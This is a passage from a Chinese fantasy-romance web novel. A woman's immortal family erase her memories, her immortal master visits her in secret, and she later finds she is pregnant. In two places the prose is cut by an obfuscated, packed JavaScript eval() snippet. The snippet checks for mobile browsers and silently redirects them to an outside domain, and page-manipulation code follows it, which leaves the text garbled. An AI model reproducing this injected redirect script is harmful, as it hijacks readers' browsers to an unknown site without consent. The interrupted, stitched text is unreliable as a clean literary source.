我加快脚步冲进信州最繁华的街道,试图用人群掩盖自己的行踪。 凡人的脑子果然不太好使啊,我竟然觉得神仙无法轻而易举找到我。 一道银光突然撕裂喧嚣,那条熟悉的羽带如毒蛇般擦着我的脸颊飞过,冲破人群消失不见。 来不及纳闷,电光火石间又闪到我眼前,羽带宛如飞来的利刃逼停我的脚步,不等我扭头再逃,铺天盖地相同的羽带迅速凝聚,从四面八方缠上我的全身,将我整个捆绑住,越挣扎缠绕得越紧。 “放开我!” 我应声倒地,周围的人群就像看不见我一样径直从我身边路过。 一双绣鞋和青莲色裙摆出现在视野里,我艰难地抬头怒视她。 冷若冰霜的女子浑身上下散发着不压于方大仙的威严。 “放开我!我不许你们再抹除我的记忆!你们凭什么!” 她蹲下,轻柔地抚摸我的头。 明明是她将我绑住,脸上却露出伤心的表情。 “乖,睡一觉就好了。” “松开我!我要回——” 千里清辉倾泻而下,荼蘼暗香浮动。 凉亭突兀地立在溪畔,四周绿荫环绕,流水淙淙。这般景致如画,我却无暇欣赏。 身上的束缚不知何时已消弭无踪,昏昏沉沉的我立于凉亭外,目光警觉地扫视四周,浑身紧绷如拉满的弓弦。 此前颜卿休沐日带我来过此处。 信州城外的凉亭?我为何在此?那四人去哪儿了? 未及细想,眼前景象骤然变幻——浅紫色的花海随风摇曳,熟悉的香气扑面而来。 我急忙掩住口鼻,俯身摘下一朵。 是忘忧罗! 柳砚清那匣中的催眠之花,本该只生长在蓬莱仙岛的仙花。 寒意自脊背窜上,我疾步后退,却见退路已被四道身影封死。 “你们……”我紧捂口鼻,声音闷在掌心里,“究竟是谁?!抓我来干嘛!” 方大仙缓步上前,金色瞳眸如炬:“来消除你的梦境。” 果然是为那些过往而来。 “不行!” “固执!” 曾在利州假扮病患的男子厉声喝道,转瞬却又软了语气。 “那些梦境只会徒增痛苦……我们岂会害你?” 他面上怜悯之色不似作伪,倒教我一时怔忡。 那位仙女垂眸而立,唇角噙着悲悯的笑。可当我与她四目相对的刹那,一滴泪猝不及防坠落在她衣襟上。 她突然上前将我拥入怀中,莲香顷刻间盈满鼻腔。 那气息太过熟悉,竟让我下意识深吸了一口气。 “风啊……我、我是姐姐啊。” 我浑身僵直,面上的挣拧凝固。 她捧起我的脸时,泪水正顺着那张姣好的面容滑落,指腹摩挲过我眉骨的力道,仿佛在确认一件失而复得的珍宝。 “姐姐好想你啊……南风呐,姐姐真的好想你啊……” 喉咙干涩得发疼。 “姐、姐?你在说什么……” 方才还穷追不舍的人,此刻的眼泪却烫得惊人。 莲香愈发浓烈,如潮水般淹没我的神智。可心底有什么在疯狂冲撞——那道无形的屏障后,传来困兽般的嘶吼。 “当真……全忘记了吗?” 剧痛骤然劈开脑海。 我踉跄着摇头,欲要挣开她:“我不记得……” 装病的男人突然拽开仙女,将我狠狠按进胸膛。 “当年就不该纵容你读那些禁书……都是哥哥的错,莫要生哥哥的气。” 最后一人始终静立阴影处。 此刻他缓步而来,额间温凉贴上我的太阳穴,低语如叹息,只有我与他能听清。 “为了见你,我可是五千年来第一次离开蓬莱。你欠我的,可要记得偿还。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056750|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 困惑如雾笼罩心头,却有一脉暖流在胸腔缓缓化开,酸涩而柔软。 这般前后骤变的情状,教我茫然无措。 周遭空气忽地凝滞,花香褪尽。 我垂落双臂,见方大仙眉宇间浮起寂寥之色。他徐步上前,其余三人默然退开。 终究,还是无法逃脱吗。 “我好不容易……有家人了……”哽咽破碎在喉间,泪珠接连坠落,“为何非要……” 非要我将你们忘得一干二净。 方大仙的指尖如寒玉,轻点我额心:“抱歉,爹爹必须这么做。” 我翕动嘴唇,无声诘问:他是谁?梦镜中的少年到底是谁?您为何不允我记起? 大仙沉吟片刻,不情愿地吐露。 “那是你轮回百世也斩不断的孽缘。”方大仙闭了闭眼,似在强抑情绪,“爹爹……不能再眼睁睁看你重蹈覆辙。” 耳畔低语未散,喉间却已失了声息。 玉簪自指间滑落,脆响惊破凝滞的空气。视线渐渐模糊,那些朦胧的梦影如沙从指缝流泻——被无形之手,一寸寸拭去。 方才种种,前尘旧梦,皆作云烟散。 蓬莱仙岛浸在朦胧烟霭中,忘忧罗铺就的紫色花海随风起伏,花瓣纷扬如雪,沾衣不化。 这花海漫无边际,与天际流霞相接,恍若梦境。 “乖乖睡一觉吧。” 东婝轻抚怀中人儿的发丝,素绢拭过妹妹冰凉的面颊时,自己的泪却先落了下来。 西雨默默拾起那支坠地的青竹簪,紧紧贴在心口。 北雷望着南风苍白的容颜,终是忍不住开口:“爹爹何必做到这地步呢?你明知她总会记起的。” 方大仙自然晓得,抹去了无数回关于那个人的记忆,可她总会记起。 怎么会无法彻底抹去,恐怕法力再高深的无上天君也想不明白。 雾气蔼蔼,萤火漫天,从南岸吹来的风拂过仙人的羽衣,蜉蝣于天地消无声息。 “必要时,吾会把她带回来。这天地间,总有她的归属。” 方大仙望着海天交界处,声线平稳如静水深流。北雷看向父亲,眉头微蹙。 “可您知道的,带回来,那真就再也见不到她了。起死回生之术不过救回了一律魂魄,若不重走过往,小妹她……” “吾知道。” 方大仙的目光落在岸边礁石上。 恍惚间,那个扎着双丫髻的小女儿又坐在那里,赤足拍打着浪花,问起关于娘亲的事。 “爹爹,娘亲长什么样子啊?是不是也像二姐那样凶巴巴的?” 潮声呜咽,吞没了所有未尽的言语。 他至今记得那双澄澈的眼睛里盛满的期待。那时他随口编造的谎言——“见到竹林,你就知道娘亲的样子了”——却让她当真了千百载。从此蓬莱第几宫的庭院里,一株又一株的翠竹拔地而起,年复一年地疯长,直到将整座宫殿都淹没在碧浪之中。 可竹林终究没能让她见到想见的人。 “吾只是……”方大仙的声音混在海风里,“不能再看着她重蹈覆辙。她若想起一次,吾便抹去一次。” 雾气吞没了礁石轮廓。星河倾泻而下,映照着紧闭的宫门。后院药圃荒芜,杂草丛生。百亩竹林齐齐开花,在静默中走向衰亡。那株白梅早已凋尽,枯枝如骨,斜指苍穹。妆台上的青竹发簪蒙尘黯淡,失光华。 她离去后的光阴,太长太长了。 38. 皓月清风 早膳过后,趁所有人忙碌之际,我将卧室里里外外仔仔细细翻了遍。 昨日不知为何心血来潮去了趟山阴凉亭,回来后才想起找闻笙送我的发簪。 “一定在这里的……” 凉亭应该是没有的,因为走之前我特地看了眼,什么都没有。马车上……如果有,车夫会给我送来。说不定是我记差,其实发簪不曾同我出门,睡迷糊掉在了某个夹缝? 给自己定了定心,我开始着手翻找,任何角落都不放过。 先是踮着脚尖在柜顶上摸索,又蹲下身查看矮柜缝隙,最后干脆整个人趴在地上,像只千年神龟,伸着手在床榻底下探来探去。屋子会有人隔三差五地清扫,好在没有摸出一手黑,脏了我的裙摆。 奇了怪了……又不是神器的发簪,怎会平白无故消失呢? 我忽然担心起步摇也不见了,赶紧给头摸了个遍。 “呼——还在。” 乱糟糟的卧室,独独不见发簪的踪迹。 “……因为我喜欢所以故意消失了吗……” 耳边忽然传来轻微的脚步声,瞥见门口是一抹深色的影子,许是颜卿,我便头也不抬地继续找。 “特地等了一会儿才进门,发簪找到了吗?” 一道低沉的声音从身后传来。 这声音……感觉不太对呢?但我此刻满脑子都是发簪,顺口答道:“忘记放哪儿去了,首饰盒床底下都找不到。” “很贵重吗?要不要我派人一起找找?” 我朝身后摆摆手:“太兴师动众了。应该是被我睡迷糊放哪了吧。”说着撑起有些发酸的膝盖站起身来,“没事儿,一般找不到的东西,等不想找了,它自己就出来了。”我努力挤出一个笑容,却藏不住语气里的失落:“我还挺喜欢那支青竹发簪的……” 因为柳砚清夸过它好看。 “既然喜欢,都不知道好生保管。” 头顶之人温柔地呵斥,我拍着衣袖上的灰尘笑着回应他。 “唔,颜大人教训的是,我下次一定长记性——” 缓缓抬头,映入眼帘的是一袭深色长袍,衣摆绣着暗纹,抱着胳膊在看我。再往上看,熟悉的面容让我心头一紧,差点忘了该怎么说话。 “颜……砚清?!”我瞪大了眼睛,嘴角开始微微抽动起来,哆嗦着小声询问:“你、您怎么……大驾光临信州?” 柳砚清向我俯身,淡淡的药香萦绕在我们周围。目光落在我凌乱的发间,抬手捻去发间的一缕绒毛,语气淡淡的。 “为师来看望下山的徒儿,有问题吗?上次跟着野男人回家,这次就直接嫁给别人了吗?” “不……我……我这是……” 若不是那日错把颜卿看成你,如今我估摸着已经逃去天涯海角了…… 心脏在胸腔里疯狂跳动,我慌乱地想要解释,却被他冷冷打断。 “不说话。” 冰冷的手指捏住我的下巴,不由分说堵住我的嘴。我的眼睛瞪得溜圆,心跳如鼓,脸颊不受控制地烧了起来。 这里是信州府啊!待会被人撞见怎么办啊师尊! 待他稍稍离开一点,我貌似石化,半天做不出反应。 “让你不说话,不是让你别呼吸。”他垂下眼眸,抚摸我滚烫的脸颊,“脸涨得通红,病了?” 我这才如梦初醒,手忙脚乱地捂住脸,从指缝里偷瞄门外,低声反驳:“我又不是因为这个脸红……” 细弱蚊蝇的声音被他听得一清二楚,柳砚清唇角勾起抹意味深长的笑,俯身贴近我的耳畔,将我的手臂压下。 “那是因为什么?” 温热的气息拂过耳畔,我浑身一颤,下意识地缩了缩脖颈,却被他一把钳住下巴。 “你说,我该如何罚你?” 他的眼神太过炽热,仿佛要将我整个人吞噬。我低下头,避开他的目光,心跳却愈发急促。 “不说话?”他轻轻捏了捏我,“那便由我来决定了。” 我猛地抬头,正对上他那双深邃的眼眸,心中顿时涌起一股不祥的预感。 还未等我反应过来,他已俯身而下,唇瓣再次覆上我的。瞬间,唯有他的气息充斥在鼻间,温热而霸道。我想要推开他,却发现自己浑身无力,只能任由他为所欲为。 仙人指尖微动,远处的门被关上。 窗外艳阳高照,信州府上下忙里忙外。 有只鸟在门外的矮树丛中欢叫,迎上另一只鸟时,啼声特别响亮。时不时跳到另一只的背上,踩弄它的翅膀。两只鸟儿不知休止地扑棱,又飞到另一处草丛中,继续嬉戏。啼声不止,却也引不来注意。偶尔有人察觉,也只当时鸟雀间的玩闹罢了。 霎时,烟滞,云停。 这间屋子似乎被世间遗忘,无人叨扰。 柳砚清的手从背后牢牢扣住我的脖颈,压制于枕上,力道大得让我忍不住哼出声。 “师尊……疼啊……真的疼……” 他停下来,我能感受到后脑勺一股炙热的凝视。 “确定是疼吗?” 梅花的枝桠破开荒芜的土壤,沾上雨露破土而出极速生长。花瓣和花苞划过湿热的空气,终于得以和天际碰面。无论多少次都得不到满足。这副身体比我的心更清楚有多渴望柳砚清,有多想念柳砚清。腰塌得有些酸痛,他贴心地替我调整了姿势。医者的指腹粗糙动作却轻柔,久积弥厚的伤病得到缓和。 医鹿山的梅林,不知道是不是开得更盛了? 良久,他缓缓松开我,骨节分明的手指穿过我濡湿的发丝,像在安抚一只受惊的小兽。我整个人被他揽进怀里,鼻尖萦绕着淡淡的药香,混合着一丝特别的冰雪的气息。是他身体散发出的寒气,明明汗如雨下,却冷的渗人。 我心疼地环紧他的腰身,头埋进他的胸膛。 到底该怎么做,才能治好他?仙人自己也没办法,真就毫无办法吗? “你这么不听话,我是不是该把你带回医鹿山关起来?” 头顶的声音漫不经心说着骇人的话。我眼神躲闪,扯了扯身上的被子。 “是你放我走的……” “我是放你下山三番五次跟男人回家的吗?” 他的指尖在我腰间不轻不重地掐了一把,惹得我浑身一颤。 “我——” 我无法反驳,也无力反驳,只娇嗔着蹭了蹭他湿滑的胸膛。 “我错了嘛。” 窗棂透进来的光线静止在原地,连浮尘都凝固在空中。我撑起脑袋望了眼,时间仿佛被静止一般,瞬间明白了什么。 “师尊为了罚我,还用法术静止了时间?” 他低笑一声,下巴轻轻蹭着我的发顶。 “这算是惩罚吗?” 我嗤笑,嘴角扬起狡黠的弧度,攀上他的脖颈,唇瓣点上他的。 “不算。所以,能再来一次吗?师尊该不会上年纪了,体力不支吧?” “……语言刺激对我没用。” 我伸手试探,挑眉笑问:“真的没用吗?” 仙人宠溺的冷笑,比方才更甚,满足我的私欲。 我猜,我的骨子里有一根重生前留下的贪欲之骨。 一面心怀愧疚,觉得对不起刚成婚的夫君。一面享受千里寻来的师尊编织的罪孽之网。 难怪要找九个男人……能同时欺骗九个男人,前世怕不是个色胆包天的女流氓?若是神仙,也是个风流之神。想到这里,我突然意识到一个问题——我居然没有意外怀孕?! 难道神仙的法术还能避孕?又或者……这世间的某个角落,其实藏着我的亲骨肉?我的脑补越来越离谱,忍不住“噗嗤”笑出声来。 “笑什么?”柳砚清挑眉看我,手指卷着我的一缕发丝把玩。 “没什么,”我眨眨眼,故作神秘,“就是突然觉得,我重生前一定是个很厉害的人物。” “何处得来的自信?” “你。” 我戳着柳砚清没有温度的脸颊,“能让师尊前后对我的态度差距那么大,足以说明我是个厉害的人物。” “可你说的是重生前,没说现在。” “是吗?那不都是我吗。” 柳砚清不再同我争论,敷衍地点头说是。我心满意足,趴在他身上享受夏日天然的冰窟。 柳砚清此次下山看望我是因为要离开一段时日。且是仙人活得久了,他所谓的一段时日居然是三年。天上一天,人间一年。此次上天述职为期三天,等下次再见柳砚清,便是人间的三年后。 “三年啊……”我掰着手指头数,“一千多个日夜,想想都漫长。”又故意拖长声调,歪头看他,“放心吧师尊,我会记得你的~” “再跟别的男人跑了,”他忽然捏住我的脸颊,力道不重却让我挣脱不得,“下次一定把你带回医鹿山关进小黑屋,你哭着求饶也不放你走。” 明明是威胁的话,眼底却盛满温柔。 最后那个吻落在唇上,轻得像片雪花,却又重若千钧:“等我回来。若有事,你知道如何找我。” 我朝他晃了晃手腕上的玉石。 直到仙人的身影消失在门外,我才后知后觉地捂住发烫的脸颊。是做贼心虚还是回味无穷?说不清。 窗外的光线重新流动,鸟鸣声再度响起,仿佛方才的一切都是幻觉。只有唇上残留的温度提醒我,那不是梦。 我把自己埋进被子里,藏起兴奋的尖叫。 这下完了……等颜卿回来,我要怎么面对他啊…… 吃过晚膳,我邀颜卿去散心,顺路来到信州河岸边的竹馆。竹馆自然载满了竹,各种各样的竹。我天生爱竹爱梅,坚韧纯洁,也喜欢如此这般的人。白日里书生们的朗朗读书声早已散去,此时悄无人声,唯有月光洒落。 我望向身边并肩而行的颜卿,挽上他垂下的手臂。 “对了颜卿,你以前……有没有送过我什么宝贵之物?” 他歪了歪头,思考了片刻。 “好像没有。有什么想要的吗,我送你。” “不是不是,我是担心如果丢了……” 毕竟闻笙送我的发簪,转眼就不见。不出意外的话,是找不回来了。 颜卿垂眸笑了笑,说:“丢了也无妨。毕竟在我眼中,任何奇珍异宝都比不上你珍贵。” 我一面感叹颜卿撩人的情话说得越发顺口,一面后知后觉。 “等等,你的意思是……我真丢了什么?!” 颜卿没有说话,只是将视线投向了街市上的夜灯惶惶。灯火与缓缓降临的夜色一同铺在信州府里,河清海晏百姓安康。这一切安宁祥和的景象,都是他八年来精心守护的成果。 “我从未离开过信州府,因为怕你某一日回来找不到我,找不到可以留宿的居所。” 他突然开口,声音很轻,却重重砸在我心上。我默默看向他的侧脸,月光在他睫毛下投出一片阴影。 “八年间,我守着这里的一草一木,就是希望你再回来时,一切还是你记忆中的模样。” 忽然,他眉眼低垂。 “可不知为什么,我总怕这一切又是一场梦,又是你给我编 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我轻声唤他,努力让声音不那么颤抖,“如果送你一件礼物,你想要什么?” 怕他有所顾虑,我又继续说道:“尽管提,只要是我能满足的,哪怕是星星,我也给你。” “好啊。” 他答应得毫不犹豫。我眨了眨眼。那只是我夸张点的说法,真要星星……我怎么摘下来? “嗯?你刚才说要什么?” 我只好假装不晓得他在说什么。 颜卿笑了,攥紧我的手。 “以前,用自己的名字为对方作诗。我作‘颜如卿月,素风漾开,似是仙人入梦中来’。你作‘楚歌四起,平野烟收,携手星辰归故土’。我问你为何意,你说,哪怕是到了荒漠尽头,也想摘下一颗天上的星星赠与我。这样,你不在,还有星星陪在我身边。” 恰好,漆黑的夜中有颗星星闪烁。他忽然俯下身,捧起我的脸,两额相抵。 “我可不可以,找你要一颗天上的星星?” 我抿唇笑了笑:“星星可不会自己落下来。” 粗糙的指腹擦过我的嘴唇,他的声音温柔得不像话。 “那,我们一起去接她吧。” 天空明净无尘,圆月如镜般晶莹;清风拂动翠袖,花瓣飘落寂静庭院。 若能得你真心敬重,我愿如珍宝般被你珍视——供奉在你眉目之间,捧护在你掌心之上。 我假想了下,倘若我为凡人,不识砚清,兴许会抛却一切,与颜卿执手白发吧……他值得被人赋予毫无保留的真心,可惜,此生的我做不到。 抱歉,成婚那日,我该逃走的。 【入卿梦也】 一个陌生女人的声音在呼唤我。 那呼唤仿佛从很远的地方传来,到我耳边时只剩叹息般的点点余韵。我茫然四顾,铅灰色的幻境里辨不清方向,唯有清冽的莲香幽幽飘来。 莲花香? 白色纱帘后隐约有道身影,时隐时现,像是故意在和我捉迷藏。 我问:“你是谁?” 纱帘后的人发出一声轻笑:“又把姐姐忘了。” “姐姐?”我皱眉不解,“可你不是男人吗。” 那人愣了一下,低下头,再昂首时身形变了样——宽肩窄腰,分明是个男子,只是那纤细的脖颈和过分秀气的手腕。声音也变了,不再是男人夹着嗓子说话的样子,是很正常的男人的嗓音,只是纤细了些。 他拨开纱帘朝我走来。我觉得他很熟悉,但想不起来。但更让我在意的是他手里握着的东西。 是闻笙送我的青竹发簪。 “我的发簪!” 他看了眼手里的发簪,然后藏至身后。 我蹙眉问道:“为何在你手里?” “因为是我拿走的。”他手腕翻转,发簪瞬间消失不见,“这支白梅步摇,也给我吧。” “……为何?” “你总要留些东西给我啊。” 我听得迷迷糊糊。 他在说什么呢?拿了别人的东西理直气壮就算了,还不够甚至伸手要? 他向前迈了一步,我被他逼得后退。 我直言拒绝:“步摇不能给你。这是我唯一的念想了。我不想到了个非生即死的地方连个寄托都没有。” “寄托?念想?”他突然冷笑,那张俊秀的脸庞瞬间阴沉下来,“腹中的孩子还不够吗?” “不够!”我朝他摊开手掌,“把发簪还给我。” 他摇头。 “那告诉我你是谁。” 他还是摇头。 “我无法消除你的梦,所以,不能告诉你。”他说着,向前一步靠近我,“我怕你会因为找不到发簪而着急,特来告诉你。” 我仔细描摹他的眉眼,似乎和我有几分相似。 我问:“那你是我要找的九个男人之一吗?” “当然不是。” 他笑嘻嘻地牵起我的手,亲密的摩挲我的指尖。 “如果是我,哪里舍得让你受这苦吃。” 他的触碰让我毛骨悚然,却挣脱不开。 “……如果是你,你会怎么做?” “如果是我?” 他忽然贴近,虚虚地环住我的腰,却没有真正碰到,保持着一种令人窒息的暧昧距离。他在我耳边呵气如兰,我的背脊却沁出一层冷汗。 “我会把你藏在我的檀木匣中,让你哪儿都不能去。” 39. 又是黄昏 清闲的日子,我打算练练字。随便写画,一来打发时间二来闲情逸致。 第一周:楚风姜妍“初相逢” 恰逢颜卿休沐日,我邀他随我去瓦肆听戏,虽然担心碰上那位姜姑娘,不过也没有听戏重要。 “昨日下午临走前,听说今天要唱一出新戏。” 我拉着颜卿坐定,茶博士送来新进的绿茶。 随着听客逐渐落座,戏台前的茶座被新戏吸引来的人填满。 躲在帷幕后的姜老板,一位中年男人,抬手示意准备开演。 但是这种时候并不能完全放松警惕,无论如何,在我身边这个唯一的空位被除某人以外的人坐下前,悬着的心是不会下沉的。 悠扬的古琴音响起,预示即将开幕。 “总不能这个时候出意外吧。” 我小声嘀咕,还是被身旁的颜卿听见。 “什么意外?” “没,今天天气晴朗,只会有好事发生。” 果真这样多好。 不出意外,好戏开场前,姜妍出现了。她环视一圈,目光锁定我后心花怒放,信步朝我走来。 “颜大人和夫人来听戏呢。” 姜妍二话不说便在我身边坐下,隔着我和颜卿颔首行礼。 她的声音特别大,瞬间成片的视线从四面八方聚拢过来,齐齐汇聚到了我们这一桌。 我硬着头皮扯了下嘴角回礼,尽可能对她露出友好的表情,心里却一点不想搭理她。 “许久不见。” 这句话是颜卿说的,我纳闷地看看他,对上他的视线后,又看向姜妍。 许久不见是一个常见的短语,用于表达长时间未见后的感慨或问候。 初次见面的人通常不会使用这一短语,除非是…… “你们认识?” 姜妍掩唇窃喜,颜卿替她解释:“姜姑娘是八年前,你非要介绍我认识的好友。你最常哼唱的那首小调,也是姜姑娘教授与你的。” “……” 我眨了眨眼,再次看向姜妍。 上次匆匆一面,还演了场闹剧,着实没有仔细看看这位姜妍姑娘。 生得倒是眉清目秀,就是肩膀魁梧了些,容貌是女儿之态,行为举止倒英气十足。 我半天没回过神来,犹豫地从怀里掏出那张有些揉皱的生辰八字。 “所以那天你……不是来找我转交生辰八字的?” “废话。”她撑着脑袋,笑盈盈地看着我,“是来确定我是不是看到鬼了。” 忽然想起那日她趁机附上我的脉搏,一切原来有迹可循。 “跟着爹爹去别的路府演出时,偶然听到了你的名字,他们说……你死在了去往什么孤岛的路上。” “他们?” “回信州后,我立马将听到的消息告知颜知县。” 我看向旁边专心喝茶听戏的颜卿,他穿着一身常服,全身心投入戏台上的唱词。 察觉我的视线,颜卿撇了一眼盯着他看的我,笑了一声问道:“我比戏台上的好看?” “嗯。” 我回答得毫不犹豫。 颜卿也笑着说:“你也比戏好看,不过眼下,我得将注意力重新放回故事里了。” 他收回目光,我猛地转头凑近姜妍,轻轻胡了掌在她肩膀上:“那你当时怎么不说?害我还误会你了。” 姜妍摆摆手,“对一个失忆之人有什么好说的。说不成,你还当我是骗子。只好演一出戏咯。” 难怪我见她之后,再回想时有种相见恨晚的感觉。 主角登台,今日讲的是“姮娥奔月”。 云母屏风烛影深,长河渐落晓星沉。嫦娥应悔偷灵药,碧海青天夜夜心。 柳砚清最爱读前朝的诗,此诗我曾在书中见过。 烛光残影,长河斜落,晨星隐没。碧海青天,夜复一夜煎熬着孤寂的心。 我忽然幻想自己坐在碧海之畔的礁石上,看着人间的生离死别,是会感慨人生有尽头便有盼头,还是寂寥于心苦叹寿命短暂。 少顷,我忍不住看向身旁的颜卿。 人生短暂,能有几个八年?梦中那句“莫要负了真心”,不是我的真心,是颜卿的。 所以,我是来圆他与我成亲的梦吗? 然后,再次离开他?杀人诛心啊。 我咬紧嘴唇,收回视线。 终究,还是选错了。 第二周:桂花梦游仙境遇孩童 夜里,桂花做了一个冗长的梦。 梦中,她恍惚看到有一三岁孩童走来,向她伸手,示意想要一串糖葫芦。 桂花向来喜欢小孩,于是便牵着他的小手去了,街市买了一串巨大的糖葫芦给他。 举着比自己还高的糖葫芦,小孩却笑不出来,沮丧着脸,险些要哭,桂花连忙又买了一串。 “现在有两串糖葫芦了,乖,不哭。” 果然,小孩高兴地笑起来,抓着桂花的指尖,想领她去一个地方。 恍恍惚惚,桂花跟着小孩来到了一处幻境。这里绿树清溪,朱栏白石,桂花以为自己到了仙境,满心欢喜。 又走了几步,桂花随着小孩又到了一处白梅繁盛之地,远远的看见雪白的花树下站了个可爱的小姑娘。 两人颇有几分相似,一看便知是小孩的妹妹。两串巨大的糖葫芦,俩孩子一人举着一串,高兴坏了。 桂花坐在地上,抱着双膝欣慰地看着他们。 “谢谢桂花姐姐!” “你们认识我?” “嗯!”小姑娘抓住桂花的手指,“我认识你!但哥哥不认识。” 桂花看向哥哥,歪了歪头。 “可哥哥刚才还领我来此处啊,怎会不认识我?” 小姑娘摇了摇头,说:“是我告诉哥哥的,是我让哥哥带你来的。” 桂花上下打量乖乖站在一旁的哥哥,从见到他起就没有听到他说话,难道是有哑疾? 只是心想,哥哥像是听到了一般点头回应。 “哥哥不会说话,但能听到姐姐的心声。” 小姑娘咬下一口糖葫芦,红色的糖渣粘在嘴边。 “哥哥可厉害了!和娘亲一样厉害!” “娘亲?”桂花轻蹙眉头,“你们的娘亲是谁呀?” “不能说。”小姑娘擦着嘴角的糖渣,“不过爹爹可以告诉姐姐。” “啊?”桂花不解,“爹爹?” 两个孩子默契地点头。 “爹爹很厉害的!什么都会!爹爹不仅可以保护星辰,保护娘亲,还保护了好多好多人!啊——” 她忽然大惊失色似的咬住手指,一边咯咯笑一边奶声奶气地说:“忘记桂花姐姐认识爹爹了,嘿嘿。” “我认识?” 桂花不禁开始打量眼前的孩子,仔细看看很像谁和谁……谁呢?自己认识她的爹爹……很厉害的娘亲…… “啊!” 桂花突然叫出声。 “我好像知道你爹爹是谁了!” 桂花梦中惊醒时,不禁大叫“赶快”,一路喊着夫人冲到我的卧室。 彼时颜卿早上班去了,留我还在睡梦中。 “夫人!我做梦了!” 她坐在床沿生生把我摇醒。看到她笑嘻嘻地来,也不好苦皱着脸打发,只好拍了拍床沿让她坐。 最近不知为何老是犯困,根本提不起精神。我趴在被窝里,敷衍地哼了声。 “我梦见大人和夫人的孩子了!一男一女,长得特可爱!” “嗯,恭喜。” “是恭喜夫人啊!”她一面回忆梦中的场景,一面感慨,“那姑娘简直就是大人和夫人的亲女儿!” 我有气无力地笑了声,“你都说是我孩子了,还能不像吗。” “也是。”说错了话也不尴尬,桂花反而笑得更开心,“我觉得这梦来得正是时候!说不定,夫人您有身孕了呢。” 我闷哼着转了个身,困到不能自己。 “嗯,我再睡会,不用叫我起来用膳。” “行,那夫人好好休息,桂花晚点来看您。” 第三周:蝉鸣扰梦卧不安 困了一周,不知道写点什么好。 那就:七日无事,夏蝉鸣叫,卧床休憩时只觉吵闹。 听说乡下有人喜欢吃蝉,不晓得能不能把信州府的蝉都给吃了。 第四周:孤枕病中盼卿归 继犯困之后胃病来袭。一定是夏季烈日炎炎食物容易变质,我又热茶冷食换着吃,才酿成如此局面。 从没觉得茅厕离卧室那么远,跑慢一点,都要…… 还是别说了,又要吐了。 颜卿进京述职已有一月,不晓得好久回来。 每到一处会寄一封信回来保平安,信尾必定是那句“很快回来”。 第五周:百安大夫论病穷源 反胃的情况越发严重。 怕病情反反复复,颜卿回来见状担心,更担心李叔将此事告知颜卿,他心一急不好好工作,马不停蹄赶回信州。 于是,我悄悄背着桂花和李叔去了趟百安堂,信州府最靠谱的医馆,早治疗早健康。 大夫三指搭在我腕间,忽然眉头一挑,又屏息凝神细探片刻,眼中渐渐浮起笑意。 “恭喜夫人。” “恭喜?”我猛地抽回手,胃里又是一阵翻涌。我生场病难受得要死,他竟然跟我道喜?我是不是找错地方了? 气不打一处来,我起身就要走。大夫不急不恼,捋须道:“夫人脉象如珠走盘,是典型的滑脉。此非病兆,而是喜脉——您有身孕了。” 我原地僵住。 “夫人不是脾胃不适,是怀有身孕时害喜。这是正常反应,夫人不必担心。注意营养摄入,吐得难受也要吃东西啊。也有安胎的方子,如——” 我忙打住他,“怀……你是说我肚子里……” “是的。”大夫温和地说,满脸慈爱,“恭喜夫人怀有身孕,看样子,约五六周了。” 我僵在原地,耳畔嗡鸣。 五六周…… 那天流光静止仙人在侧,那夜竹馆清风卿卿相伴,柳砚清的玉佩与颜卿的衣角在记忆中纠缠不清。 所以…… 腹中孩子,是谁的? 不敢想此事有多荒谬。甚至庆幸起柳砚清和颜卿有几分相像。 掌心覆上平坦的肚子。 “儿啊,我该拿你怎么办……” 第六周:姜妍戏说楚风腹中孩 天花粉、麝香、藏红花、桃仁、莪术、三棱、斑蝥、大戟、巴豆…… 学医以来,恐怕是我第一次如此钻研一剂方子。 堕胎的药煮了一次又一次,难闻的涩味下吐得越发厉害。 纠结辗转了数日,我还是决定把孩子生下来。 尽管他还不算个人,但……杀人诛心呐。 我做不到。 为了了解怀孕期间需要注意什么,我支开桂花,悄悄带上姜妍陪我去找信州城里最德高望重的妇科圣手张大夫。 一个人终究不敢面对,家里人怕走漏风声,能依靠的只有姜妍了。 简单用拳头和戏班子的刀枪警告过张大夫不许泄漏秘密后,张大夫向我罗列了一整张纸的注意事项。 冗长一张纸上密密麻麻全是字,芝麻大小的字间纤细的缝隙,我必须学着老人看不清字的样子,眯起眼才能看清。 “太复杂了吧……我到底是怀孕了还是病入膏肓了?” 姜妍急忙用指尖轻点我的嘴唇,堵住我的嘴:“欸,别说不吉利的话。宝宝在肚子里是听得到的。” 这样说着,她突然绽开温柔的笑靥,掌心轻轻覆上我尚且平坦的小腹。 上一秒还皱眉责备我的姑娘,转眼就换了副神情,对着我的肚子细声细气地说:“别听你娘乱讲话。要乖乖长大,平安出生呀。” 我看着她专注的侧脸,忍不住打趣:“你怎么比我还上心?” 姜妍抬起眼帘嗔了我一眼,颊边泛起浅浅的梨涡:“这不为了提前预定干娘的位置嘛。” 我扬声假装发出恍然大悟的感叹,笑着戳了戳她的额头笑道:“原来是别有用心。放心吧,一定是你。” 从医馆出来已是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我没说话,因为脑子里还在努力翻找颜卿的缺点。 结果是,根本找不出。 今日是颜卿归家之日,我匆匆同姜妍告别回府。 听闻他已经到了,正在书房整理,我迫不及待去寻他。 正要习惯性地推开颜卿的书房门,我的手一顿,霎时想起自己手上还拿着“孕妇保胎注意事项”。 还不能被颜卿知道,哪儿知道这孩子是谁的,千万不能暴露。 我将担心快速藏进袖子里,匆忙跑回卧室。 糟糕,忘了现在两个人住一间房了,我能藏哪儿。 “你回来了。” 